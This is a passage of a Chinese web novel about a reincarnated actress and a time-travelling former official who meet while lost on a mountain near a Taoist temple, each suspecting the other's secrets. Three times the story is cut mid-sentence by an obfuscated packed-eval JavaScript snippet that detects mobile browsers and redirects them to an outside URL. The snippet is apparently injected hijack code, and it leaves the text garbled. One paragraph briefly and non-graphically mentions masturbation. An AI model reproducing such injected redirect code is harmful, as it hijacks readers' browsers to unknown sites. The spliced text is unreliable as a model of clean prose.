“我不管了,大师兄!这事儿跟我们有什么关系啊?就算找到了罗盘,师父能掰下来一块儿给咱们啊,又不是烧饼!” 大师兄还不说话,老三连忙一把拽住小六的膀子,嘻嘻哈哈地说:“走走走,小六你跟我一起走!累死了,正好回去睡个午觉!” 我管你走不走,反正我和小六得走了,老三心里想着。 他今天凌晨被师父派去看守被禁足的小师弟,不敢阳奉阴违,就找了之前手机里存着的那种片子看。 要在平时,他好歹也算是个修行之人,多少有点本事的,心里的邪火很快就能按下去。 但看守的时候不知道怎么回事,越看越上头,越看越觉得有意思,等到几个小时后,小六接他班的时候,他裤腿之间早已湿哒哒一片,红着一张老脸,双眼迷离。 等回了卧房,更是放肆大胆,趁着几个师兄师弟躺在炕上沉沉睡去,一个人偷偷摸摸地窝在被窝里嘿嘿直笑,一边看,还一边照顾自己身下的“小亲戚”。 这一看就是一个通宵,看的时候心里舒坦,身体也舒坦,可是一到了白天,整个人就摧枯拉朽似的散了精气,累得要了老命。 所以现在他才不想找什么劳什子的罗盘,只想逃了工,翘了班,抓紧找个没人的地方补一觉! 他可以不睡,他的“小亲戚”还得睡呢! 听了这话,小六当然高高兴兴,忙不迭捡起脚边的柴刀,两人勾肩搭背地嘿嘿一笑,转眼间就把大师兄扔在了身后。 小六本来不敢反抗他大师兄,见三师兄起了个头,自然喜不自胜,乐呵呵地一把跟上。 “嗷——” 这时候,林子突然传出一声不知名野兽的吼叫,大师兄害怕地咽了咽口水,身体猛地一抖,不甘心地跺了跺脚,握着柴刀往前方的树枝上发泄地一砍。 “唉,真是的!”他着急地上前几步,“回去就回去嘛,又不是不能商量!你们等等我!” 他看着是在为师父排忧解难,实则心里另有打算。 真要找着了那古董罗盘,他就能直接收入囊中!到时候,可不是什么掰烧饼掰下来一块儿了,整个“烧饼”都是他的! 可是——猪队友啊猪队友,活该他们又懒又穷,懒得要了命,没一个跟他一条心的! 三个人刚走,商文载从一棵两人才能环抱住的粗树干后走了出来。他看着三人离开的方向,状若所思。 他穿了一件红色的冲锋衣,小心隐藏在昏暗的树荫里,藏了大半天,三个大老粗都没发现,好一会儿后,商文载才转身往相反的方向走了。 - 时扬这头,更是找得两眼昏花。 她没有半点头绪,一跑进后山,就跟个无头苍蝇一样,只顾着往里冲,至于要去哪儿,根本不清楚。 她记得梦里的场景,她先是去了外婆的坟前,然后担心脸上的鲜血吓着她,这才离开了。 但当时她吃了太多抗抑郁的药物,脑子里浆糊一样,往哪个方向跑的,根本不记得。 时扬是个路痴,这趟上山,本来是想先找到以后外婆的坟地,然后沿着当时的路线,回到道观所在的方位,一路找找那罗盘。 虽然也希望渺茫,但好歹有个路线不是? 如果这趟无功而返,到时候就得假装皈依,混进道观再想办法了。 啧,麻烦啊,还得先办个皈依证! 她脑子里浆糊一样,胡七八糟地想着,逐渐西沉的太阳斜斜地穿过树荫,从树叶的间隙里射进来一道耀眼的光线。 光束从时扬左前方照射而过,然后投在她脚面上。 她忽然心里一动,转过身去。 视线所及之处,对面的山头上,一小块平地坐落在半山腰,面山,环水,真是个好去处…… 她心里顿时有了条路线,就沿着梦里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998427|193818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那条路往道观的方向返回。 比人还高出一截的翠绿色芦苇疯狂旺盛地生长着,现在不是芦苇花的季节,所以没了梦里芦苇花如同黄色纸钱一样飘荡的阴森恐怖。 时扬有了经验,提前准备好了口罩面罩,全身上下只露出两只眼睛,锋利的芦苇边缘一点儿也别想割到她。 可走了又走,在芦苇丛里钻来钻去,那道观看着就在前面没多远的地方,却始终走不到目的地。 时扬抬头一看,不知道什么时候开始,四周已经有些昏暗,夕阳西下,不知道是蟋蟀还是什么虫子的声音从各个方向传来,叽叽喳喳,扰得人更加烦躁…… 她拿出手机,现在已经是晚上六点半了,心脏砰砰砰跳动的声音在夜晚的芦苇丛里格外清晰。 咚、咚、咚…… 脚下铺着腐败树叶茎秆的地面,软绵绵的,肉乎乎的,如同大地温温软软的皮肤,青草的草香味在泥土的腥味反衬下好像更加浓烈了,持续不断地在时扬鼻尖绕啊绕…… 这片旷野好像要在夜间活起来了,但时扬却感觉自己要死了。 被吓死的! 这地里面……不会有蛇吧…… 她不想再留在这片芦苇里了,跑,跑,跑!往外跑,往生机之处跑,不管去哪里! “呼呼……” 时扬弯了腰,撑着膝盖,不停地喘气,等到喘匀了呼吸,往回一看,芦苇丛被她远远地甩在后方。 这会儿停下来了,才察觉脖子和脸上的汗水已经打湿了面罩,背脊上的湿汗也已沾湿了衣裳,严严实实地贴在她身上,喉头一股腥甜的血腥气直冲鼻子。 她仰头四处打量,才发现情况越来越糟。 刚才在芦苇地里好歹还能看到道观,现在什么也看不到了,只有呈九十度的石壁在她面前沉默地看着她。 不知道现在几点了,拿出手机再一看,只有个黑色的屏幕。 时扬破罐子破摔,干脆背靠在一块巨大的石头上,借着稍微还能看到一点儿的光线,摸黑从她的登山包里拿出块面包和一瓶水,补充体力。 “就算有鬼我也不怕,活了两辈子,还有什么可怕的?人比鬼可怕一百倍!”她费力地嚼了一口面包,嘴里含糊,忽然又想到杨威那颗白炽灯,“不对,可怕一千倍,一万倍!死杨威,死杨威!” 她活了两辈子,身上又遭遇了竟然能回到出生之前的奇异事情,早都看得很开了。 她身上的事情要是被人知道了,没什么可畏惧,就算别人说她是个鬼怪,她也会点点头,若有所思地说:“是吧?我也这么觉得!” “沙沙——” 突然有什么重物踩在了四散的杉树毛和枯叶上,时扬到底胆小,忘了之前“活了两辈子”的说法,心脏骤停,停下了嚼面包的动作,屏住呼吸,没敢再出声。 “沙沙——”跟着声音同时出现的,还有一道莹白色的光束。 时扬看到突如其来的光亮,咽了咽口水,抖着嗓子,忍不住问了:“谁?” “你是……时扬?”来人声音低沉。 光束聚在那张苍白色的圆脸上,一对杏眼瞪得大如铜铃,嘴皮子抽动得厉害。 16. 符水 时扬双目瞪大,肤色惨白,嘴唇冻得发白且颤抖,嘴边沾了一大块面包屑,细细碎碎的面包渣洒在红色冲锋衣的衣襟上。 声音哆嗦,却洪亮清脆,“是、是谁?你说、说话!” 色厉内荏,窝囊倒霉,但能吃。 这是商文载打着手电筒看到时扬的第一幕。 他轻声回问:“你……想让我说什么?” “文载哥——哎哟!” 本来还以为是哪个上山砍柴、同样也迷了路的当地人,不知道对方好坏,等听到熟悉的嗓音,时扬才十分激动地站起身。 她激动极了,刚起身到一半的高度,脚后跟紧接着磕在身后的石头上,顺顺当当又重新坐了回去,屁股砸在坚硬的石块上,险些碎成四瓣。 “啊——痛!痛!好痛!!” 阴影中,商文载忍不住浅浅一笑,但那笑意因着他的教养很快地收起来了,他故意不提,只装作没看见,极快地转了话头。 “你怎么会在这里?” “我、我拍戏拍完了,来这儿爬山锻炼锻炼,没想到……”时扬尴尬地抓了抓她的羊毛卷儿,“迷路了,走不出去……” “是吗?你——还挺爱运动。”商文载语气不咸不淡,听不出情绪。 他低头一笑,想起上次酒店房间里商文洛劝她多运动,她连连推拒的模样,没戳穿她。 “啊对。我……就还挺喜欢的。”时扬缩着脖子,窝窝囊囊道。 出乎她意料地从天而降一个人,更让她更加觉得人比鬼还可怕。 她刚才嘀嘀咕咕,说什么“活了两辈子”的话,也不知道有没有被听见,这会儿心里紧张得直突突,还要应付对方的询问,一个头两个大。 时扬眼珠子一转,反而试探:“不过文载哥,你来这儿干嘛的?” “我当然也是来爬山锻炼的,也是迷路了。”他朗声坦荡道。 时扬被他用同样的话术堵了回来,在他看不到的地方嘴角一抽,接着打哈哈,“锻炼好啊,锻炼好……” 商文载走近了。 等他站到时扬面前,后者连打哈哈的话也说不出来了。 只见他左手拿着个银色的手电筒,同样穿一件红色的冲锋衣,两条半个手掌宽的背包肩带从他背后穿过来。 而右手上,则是一把大概有五十厘米长的铲子,上面糊满了新鲜的黑褐色泥土,手柄上的泥已经干了…… 时扬心里更加紧张。 她想到了以前看过的一则新闻,说她家江城那边有一伙人,白天混迹在各行各业中,有考古人员,有古董商,有收藏家……看着人模狗样,晚上就脱下那身皮,扭脸变成一伙儿盗墓贼。 那伙人凭着几把洛阳铲,指哪儿打哪儿,偷哪儿空哪儿,从不失手。 洛阳铲……原来这就是传说中的洛阳铲…… 时扬再想起商文洛,他只说过他这位哥哥有钱,至于钱从哪儿来的……好像从没提及过…… 细思极恐,难怪啊…… 想到这里,她慌得一口气堵在胸口,脚下一动,就想往后退,跟对方拉开距离,但又猛地想起来,那晚商文载明明就看到了杨威被一个女人打了,但他就是袖手旁观,自那以后也没去报警,原来……是怕暴露了他盗墓贼的身份! 亏她还提心吊胆地怕了这么些天,生怕东窗事发,让她艰难重启的职业生涯再次结束,要早知道他是个盗墓贼,还犯得着害怕? 官官相护,那……贼贼当然也是可以相互的! 商文载就这样看着这女人在十几秒钟之内,脸色变了又变,跟商文洛小时候瞎搞一通的调色盘一样精彩。 他不清楚对方到底在算计些什么,但她一会儿像是要哭,一会儿又恨不得仰天大笑,一会儿神色提防,一会儿又觉得他可亲,脸上精彩纷呈,肯定没憋着好。 “你的手机还有电吗?”商文载懒得揣测她心思,没抱希望地问道。 时扬愣了一下,回过神来,茫然地摇头,“啊?没有了。” 商文载早有预料地点点头,把手里捡来的铲子随手往旁边一丢,顺势和时扬一样,坐在那块长约两米的石头前。 金属碰在坚硬的石头上,发出“咣当”一声,与昆虫和谐的奏鸣混合成一片,在寂寥的夜晚显得尤为突兀,令人烦躁,但仍然比不上商文载心头的烦闷。 短短一个月,他先是被无为道长那老头骗,说什么罗盘重现,实际上诓骗他捐了香火钱。 后来又往西北跑了一趟,奔波劳顿,心力交瘁,最后无功而返。 现在又回到道观大海捞针,要是能捞起来还算好的,如果——这次那老头子没骗他的话。 距离他设定的归期已经不到两年,两年时间弹指一挥间,但现在还没能从各种捕风捉影的信息里理出个头绪。 要是有人和他一道,齐心协力,尚且还能轻松些,可无为道长……正如他的名字一样,无所作为,全指望不上。 他略作分析就明白了一个事实:想要回去的人,其实就他一个。 那老头现在是个道长,地位比五百年前高不少,衣食不愁,何苦跟他一样执着于过去,过逍遥自在的日子岂不好? 他只恨,当初那破败的道观中,不是也出现了他的若若吗,为什么和他一道来此间的人不是她,而是那半分也指望不上的老头? “阿嚏——”正不知道要找什么话说的时扬突然打了个呵欠,她拢了拢身上的外套,裹得更紧。 商文载侧过头看她,她正揉了揉鼻子。 “晚上这里还挺冷的。”商文载看着她裹了又裹的外套,没说话。 他突然想到她刚才嘀嘀咕咕说的什么“活了两辈子”的话,好像是听见了,只是那话被忽然刮过的一阵风和簌簌作响的树叶掩过,让他一下子又不确定起来。 如果没听错的话,这是第二次了…… 上次是在江城,他爷爷奶奶住的城市。 那时候他刚到这个世界来,不太能适应,夜里总是噩梦连连,高烧不退,带着他上一世的记忆,意识不清地喊着“若若”。 疼爱大孙子的商家爷爷奶奶慌了,于是带着他在各个医院辗转,中医西医,连苗医都试过了。 可不管医生开了什么药,用了什么治疗方法,白天整个人是正常的,看着渐渐好了,每每到了晚上就再次“病发”。 两个老人没有一点儿办法,只好瞒着在北京工作的儿子儿媳,带着商文载上山,去了江城的一个道观。 商文载记得很清楚,那处道观坐落在半山腰上。 要到了这里还算得上平常,稀奇就稀奇在那半山腰位于悬崖上,整个道观如同镶嵌在崖壁上的一把刀,利刃劈开岩石,直直地插入中间。 因为他的身体状况,商家爷爷奶奶特意选了个更深露重、漆黑一片的夜晚,带着商文载上了山,只等着道观的人瞧着孩子,对症下药。 那道长翻了翻商文载的眼皮,又瞧了瞧他的舌头,很快地画了一张符,然后叫人烧了,趁热用凉水化成一碗符水,送到了商文载面前。 那晚商文载同样也犯了病,但仍然留着几丝意识。 这病能不能要他的命,他不知道,但他看着那陶碗边缘黑糊糊一片的灰,生出一种兴许这碗“药” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005829|193818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才会要了他命的感觉。 他伸手推开药碗,没等到他出声拒绝,商家奶奶赶紧撇开他的手臂,捏了他的嘴,飞快把符水灌进了他嘴里。 就是在那时候,商文载第一次感到无力,一种由不得自己的无力。 龙游浅滩遭虾戏,虎落平阳被犬欺!他堂堂一个兵部侍郎,被人捏了嘴,土匪一样地灌进去这劳什子的“药”? 也正是在那时候,他的视线穿过簇拥着他的人群,在一道道青灰色的袍子中,精准地定位到一张脸……一张看着熟悉但明显年轻了很多的脸。 无为道长。 更准确地来说,那时候还只是个普通道士的无为道长。 那天晚上,商家爷爷奶奶带着商文载和道长售卖给他们的高价符水下了山。 商文载也没辜负他们所望,从那以后就真的恢复了精神,晚上再也没有意识恍惚地叫“若若”的名字——他只在四周无人、意识清醒的时候叫。 商家人都以为是那蓄着白色山羊胡子、一脸褶子的道长施了真本事,殊不知,只是他见到了五百年前的故人,稍稍安了心罢了。 无为道长虽然碌碌无为、无所作为,异时空里有个认识的人,至少让他在深夜无人的时候,不会再感到深深的孤独。 而他的孤独感,在下山的时候,意外地,得以再一次减轻。 那次道观之行,除了见到了同样不该出现在这里的无为道长,他还在被商家爷爷奶奶带着下山的路上,见到了一个女孩子。 最开始听到那女孩子声音的,并不是他,而是商家爷爷。 他和商家奶奶只有商父一个独子,独子又生下两个男孩。 他一辈子既没有女儿,也没有孙女,心心念念,最终成了执念,但凡看见个活泼可爱的女孩儿就总得过去逗一逗、哄一哄,哪怕是在带着虚弱的孙子下山这种不合时宜的时候。 听见个女孩子凄惨的哭声,当然心生怜悯,非得过去瞧一瞧。 “走了走了,不够你看的!现在都晚上几点了,再把我孙子给冻感冒了。” 商家奶奶牵着仍然有些精神不济的商文载,一边说着,一边摸了摸他的额头,一探没有发烫,才稍微放心。 商家爷爷反驳道:“既然是晚上,就更不能走了,有人在哭,你没听见吗?” 他扭过头,冲着老伴嘿嘿一笑,然后不管她不赞同的眼神,直直往女孩子声音的方向走去。 “正事儿不干,净瞎管闲事!”商家奶奶揽住商文载,跺了跺脚,小声嘀咕。 她是整个商家最相信鬼神的人,前两年听人说过,道观寺庙之类的地方,身弱的人去不得,要是去了,没准儿身上的晦气邪祟没去掉,反而招惹一些不干不净的东西上身。 她年纪大了,记性不好,没记住“身弱的人”这个前提,只记住了“招惹上不干不净的东西”的后果,把自己吓得不轻。 正害怕得说不出话,又听那人举了个例子,说斜对门儿那家的儿子,自从他去年年底去寺庙给自己转运后,今年先是出去旅游的时候摔断了腿,然后做生意又被人骗走了钱,现在一家人过得紧巴巴的,十分艰难。 听完后,商家奶奶更加笃信了:寺庙道观这些地方就是有小鬼! 要不是商文载中医西医看了个遍都不见好,她才不往这些乱七八糟的地方来! 这会儿看着商家爷爷不听劝,非要往诡异的地方走,怕他遇到危险,急得原地跳脚。 她勉强镇定,装作不害怕,“你等等我,我也来!” “文载,你就在这儿别动,听见没?你爷爷不顶用,奶奶也过去看看。” 17. 悬观 她玉盘一样的脸十分慈祥,此刻满脸着急,但商文载嘴边的那声“奶奶”怎么也叫不出口,只好点点头,说了个:“好,我等你们。” 看到孙子点头答应,商家奶奶赶紧小跑上前几步,刚走出去,又转过身,摸了摸孙子的脑袋,压着嗓子再次叮嘱道:“宝贝,千万别乱跑啊!” 商文载一个三十多岁的灵魂,被她一声“宝贝”叫得嫩脸一红。 然后她如烟一般地随着她快速的脚步,几秒钟之后就隐入夜色当中,只能远远地看到个模糊的背影。 那女孩儿的哭声还在持续,刚才还只是一声一声的抽泣,现在还夹杂着细碎的话语了。 商文载没听他奶奶的话,循着声音,像是被一股莫名的力量牵引着,指引他往一旁走。 他脚步轻悄悄,一直走到两米多高的假石侧后方。 女孩儿身着白色长裙,抱着双膝瑟瑟发抖。 她坐在假石前方不远处的一个石墩子上,面对一汪极小的人工湖,一会儿安静,一会儿又激动。 安静的时候就看着天上的圆月沉默不言,只是抬起袖子抹眼泪;激动的时候又哭又笑,偶然还夹杂几声故作凶狠的骂声和埋怨。 声音听着稚嫩,语气却像个成年人,商文载就这样躲在假山后,听她骂人。 “外婆你总骗我干什么?你说老天爷贪财,给他捐点香火钱就能如愿以偿,我把所有的零花钱都捐了,但她的身体还是越来越差……” 她话音一转,凄然一笑,“也是,你不还说江风华只是不会表达,其实是在乎我的吗……” 商文载不知道女孩子口中的“她”和江风华是谁,又看她猛地站起来,抬头看天,继续说:“不行!既然你不保佑她,凭什么收我的钱!把我的钱还给我!” 女孩子噔噔跑出去两步,白色长裙的裙摆和她一头长发一起飘动。 她愣在原地,无力地垂下双肩,耷拉着脑袋又坐回了石墩子上。 这时候她不再强硬,软了话语,隐隐还带上了哭腔和浓浓的哀求。 “你既然收了我的钱,就帮帮我吧……下辈子没感受到的东西,这辈子我感受到了,却只有两年……你为什么非要让她得癌症呢,就这么喜欢捉弄人?” 这番惊世骇俗的话要是被人听了,只会以为说话的人肯定脑子有点问题,但商文载却浑身一僵。 下辈子,这辈子,两年…… 他到这个世界,正好也是两年前…… 他脑海中混沌一片,却凭借本能从假山后出来,几步上前,走到女孩身旁。 商文载经过无为道长一面后有了希望,这会儿听她说什么两辈子,还以为又多出个希望,满面欣然。 他大喜过望,顾不上什么礼仪不礼仪的了,攥着女孩儿的手臂,急匆匆问道:“姑娘方才所言可是真——” “啊!” 黑夜当中,女孩被人攥住胳膊,差点吓破胆,她急忙挣脱,顺势往旁边一倒。 “小心——” “啊!”女孩一屁股从石墩子上摔下来,跌在沾满了露水的草地上。 青绿色草汁混合着几点泥土,沾在白色长裙上,狼狈一片。 女孩顾不得一身狼狈,手掌撑在草地上,抬首望着身后半道杀出的人,色厉内荏地哆嗦着嗓子问:“是、是谁?你说、说话!” “抱歉唐突姑娘了,在下只是想问,你方才所说‘下辈子’、‘这辈子’是何意?” 见果然被他听到了,女孩不敢再多言语,舔了舔嘴角,“我——你说的什么,我听不懂。” 商文载一面扯过衣袖盖住手掌想要拉她起来,一面又问:“可你刚才说——” 这时候,他伸出去的手落了空。 只见女孩左手撑着草地,扭身起来,惊疑不定地看了他一眼,然后只当做没听见,低着头匆匆往阴影中去了。 商文载脚下微动,还要再跟,心口却撕心裂肺地一痛,痛得他跌坐在石墩旁,只能抚住心口剧烈喘气,止不住颤抖。 女孩害怕得刚跑开,才藏入黑暗中,一摸手腕,上面的手链不知道什么时候竟然丢了! 她拽着脏污了的裙子,突然想到刚才那一跤,毫不犹豫地往回跑。 人工湖旁,那半路杀出的人跌在石墩旁喘气个不停,而她的象牙红绳手链正安安静静地躺在他膝盖旁。 她心下一动,想趁其不备跑到湖边,拿了她的手链转身就走,谁想到脚下偏偏踩到一根枯枝。 “啪嗒——” 树枝断裂,引得商文载往声音的方向看过来,只有动静,并没有什么人。 他捂着心口,好歹喘匀了气息,刚要站起来,右手突然在地上摸到一块温热的东西。 头顶的月光从树梢之间穿过,打在那东西上面。 一块脚印模样的象牙,左右各穿着一粒金色珠子…… 正在这时,一道白色残影猛地从树林里窜出来,趁着他不注意,斜着从右前方伸出来一只手,然后猛地将那东西抢了过去。 “这是我的!”来人站在他右手旁,握着那东西,居高临下地瞪他。 商文载喘着粗气,没跟她计较,忙问道:“你是谁?你……到底从哪里来?” 对方听了,身体一震,看不清表情,愣了愣,第二次飞快地逃开了。 “你……” 商文载的话还没说出来,就被身后窸窸窣窣的嘈杂声打断。 “文载,你去哪里了?别吓唬奶奶啊!” 商家奶奶和商家爷爷不知什么时候从另一边的竹林里出来了,他们重新回到下山的路上,见没了孙子的身影,急得到处找人。 “别是被小鬼小妖怪带走了吧,文载啊!你到底在哪儿?” 商家奶奶慌了神,也不忘抱怨身旁的商家爷爷,“我让你别去别去,你听不懂人话一样,现在孙子不见了,你心安了吧?” “你说的这是什么话,我怎么就心安了?我还能盼着文载走丢啊?”虽然心里也着急,但商家爷爷也不忘回嘴。 他接着口不择言地嘀嘀咕咕:“世界上哪有小鬼小妖怪,遇上人贩子的概率还大些——” “啪!”一巴掌扇在他背上,疼得他嗷嗷叫唤。 “你再胡说?你再说一句试试!” 商文载被两人的争吵打断,没管身后的两人,抬眼又往白色影子离开的方向看。 可哪还有个女孩子? 离开的时候,他回首最后看了一眼。 朦朦胧胧的青草当中,立着一块月白色的石墩子,月光穿过树荫,在那石墩子上洒下一点点微不可见的光,却足以让他看清楚,那上面早就空无一人,好像是他做了一场梦,一场似乎根本就不存在的梦…… - 商文载抱着柴火回来的时候,时扬正双手抱膝,坐在那块巨大的石头上,形单影只,十分落寞。 月光之下,她瑟缩成一小团,恨不得把脑袋埋进衣服里面,只露出一对湿漉漉的杏眼,像是刚刚哭过。 就这一瞬间,商文载心里更加怀疑,他有一种强烈的感觉,觉得时扬或许就是他12岁的时候,在那悬观的半山腰上见到的女孩子。 “滚开,滚开!” 正在这时,安安静静坐着的时扬突然伸出一只手往头顶上方挥舞,驱赶根本看不清楚的虫子。 商文载的思绪被她打乱,但更加坚定了,决心今晚一定要试探个清楚。他抱着柴火,往时扬的方向走去。 要说大晚上一个人待在山里,不害怕是不可能的,商文载离开的一刻钟里,时扬早就盼着他赶紧回来,虽然……对方可能是个盗墓贼。 但是时扬转头一想,现在这个情况,他真是个盗墓贼还好一些,至少有野外活动的经验,她攀着和商文洛的交情,倚仗他一个晚上是最好的办法了。 等到明天,两人分道扬镳,她也还他一个恩情。你不说,我也不说,你不告诉警察我打了人,我也不告诉警察你掘了坟。 但明天是明天,熬过这会儿再说。 时扬本来就比一般人怕冷,现在荒郊野地,冻得浑身直打哆嗦,就等着商文载赶紧捡了柴火回来生个火。 盼着盼着,人可算来了,看着他手里的柴火,时扬露出了今晚第一个半点儿不惨虚情假意的笑意。 她搓了搓手,从巨石上跳了下来,摸了摸刚才坐在石头前被枯草濡湿了的屁股,热情洋溢地朝商文载走去。 “文载哥,辛苦辛苦,你可算回来了!”牙齿打颤的声音在深夜里格外明显,嗓子也有些嘶哑。 “嗯。”商文载默默放下柴火,看她缩着脖子,连讲话也打颤,直接脱下身上的冲锋衣递给了她。 “穿着吧,别冻感冒了。” 时扬愣愣地接过,连谢谢也忘记了说。 她忽然想到云帆,那个曾经也会把外套脱下来给她挡雨御寒的人。 是什么时候开始改变的呢,或许两个人都忘记了。 只是在平淡相处的某一个瞬间,不知道是谁先开始厌倦,谁先耐不住,没能藏住眼底的厌烦,将心底的真实想法表露出来,所以那些早就变质了的所谓感情在那一瞬间被点燃,焚烧成灰烬,散在风言风语当中。 又或许……一切只是错觉,根本没有所谓的感情,只是当时两人相识于彼此落魄的时候,孤单,穷困,所以误会了,将贪恋朋友的情感误以为是爱情。 时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006949|193818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬握着商文载尚有余温的外套,愣了很久,久到商文载已经在旁边架好了枯枝,准备好生火。 夜间温度下降得太过厉害,水汽凝结在地上的草杆和枯叶上,地下湿润,连引火的枯叶也不好点着,十几分钟之后,商文载才有些艰难地生起了火。 时扬怕冷,丢进去两根枯枝,火苗窜得更高,把她冻得僵硬的脸印得通红。 她还不满意这堆火的温度,嫌弃它生得不够旺盛,坐在商文载对面,嘟着嘴巴往火堆的中间吹,看得商文载心下一动。 不知道为什么,他又想起了他的若儿。 那破败道观里,寒风从破旧残缺的窗户和木门里吹进来,每响起一道呼呼的风声,那白色影子便瑟缩一下。 荒郊野外,更深露重,只身着一件单薄外衣,她得有多冷…… 对面的商文载沉默着不知道在想些什么,时扬看在眼里,心里又开始活泛。 她不经意地收回了烤火的手,假装双手插兜,实则在商文载的外套里探了又探,摸了又摸。 男人的衣服,衣兜都做得更大些,但她很快翻完了,衣服外面的两个兜里,除了右边有一包香烟,其余什么都没有,更别提她的手链。 时扬掏出双手,看商文载还在出神,她假意挠双肩,伸手往他外套胸前的内兜里翻。 手刚一伸进去,不巧得很,对面说话了。 “若若。”商文载心存套近乎的想法,颇有些自来熟地喊道。 时扬放在胸前、正要翻找的手被吓得猛然一抖,她故作自然地拿出手,双手撑着下巴,抵在膝盖上,眨巴眨巴眼眼睛,认真听对方说话。 “嗯?” “上次在酒店里,准备仓促,也不知道饭菜合不合你口味?” 都多久的事情了,这会儿两个人在荒郊野外,不赶紧想办法离开,反而问起饭菜。 时扬觉得有点儿莫名其妙,但仍然客气回答:“很好呀,我很喜欢。” 商文载开始拿商文洛再起话头:“文洛口味重,喜欢辛辣,我按照他的口味做的,没想到他还邀请了你们,早知道我就做清淡些。” 时扬连连摆手,“没呢没呢,我是江城人,口味也重。” 听到“江城”二字,商文载眉头一挑,接着试探:“哦?若若你也是江城人?” “嗯,文洛没说过吗?”时扬摊开双掌接着烤火。 “那小子没提过。” 她心里有了盘算,想打听对方到底是不是盗墓贼,也开始套近乎,“但我知道,你们也算半个江城人。” 商文载轻轻点头,笑着说:“嗯,爷爷奶奶都是江城人,我和文洛小时候跟着父母在北京,放假的时候才回去陪陪他们。” 时扬想着怎么装作不经意地打听他的职业,所以没有说话,只看着他捡起一根木条往火里扔。 “十二岁那年的暑假,爸妈让我和文洛回家陪爷爷奶奶,结果我生了一场大病,反而连累他们。”他抬头往悬崖上面、道观的方向看去,“说来也是怪了,看了好多医生都没用,最后还是去了一趟悬观才好了。” “悬观?半山腰的那个,对不对?”时扬听到熟悉的名字,紧接了一句。 “怎么?你也去过?”商文载眼睛微微睁大,浅笑看向时扬。 她的双颊被高温烤得微红,两只眼睛亮晶晶,装着张扬的火苗和商文载坐得笔直的身影。 “当然去过,那里现在都快成为景点了,信的,不信的,都爱去,从早到晚人挤人。” 一句话把商文载的试探堵了回去,他正想加大火力再探,就听时扬压低了嗓子,神神叨叨道:“其实……大家爱去那里,还有一个原因。” 时扬见商文载不动声色,没有半点儿好奇的样子,她干脆把身子往前伸,做出个说悄悄话的动作。 “我小时候听我一个同学说过,说悬观里有一条地下通道,通往那片山的中间,山的中间其实是挖空了的,那里面……”时扬声音放得更低了,“那里面有好多墓穴!” 说完,她掀起眼帘,仔细观察着商文载的反应。只要他起了心,动了念,呼吸就一定会乱,那他就一定是盗墓贼! 可时扬注定失望,她打探的目光一无所获,反而直直地迎上一张似笑非笑的脸,慌得她赶紧错开视线,尴尬摸了摸鼻子,假装低下头,又捡了一根柴火往火堆里丢。 火燃得更旺盛了,火苗高高窜起,映照在她脸上,那点小心思更加无处遁形。 商文载在她故作玄虚的模样中看出来了,又结合她之前变了又变、如同颜料盘一样的神色,一下子猜出了她的想法。 他莞尔一笑,直接问她:“你……觉得我是个盗墓贼?”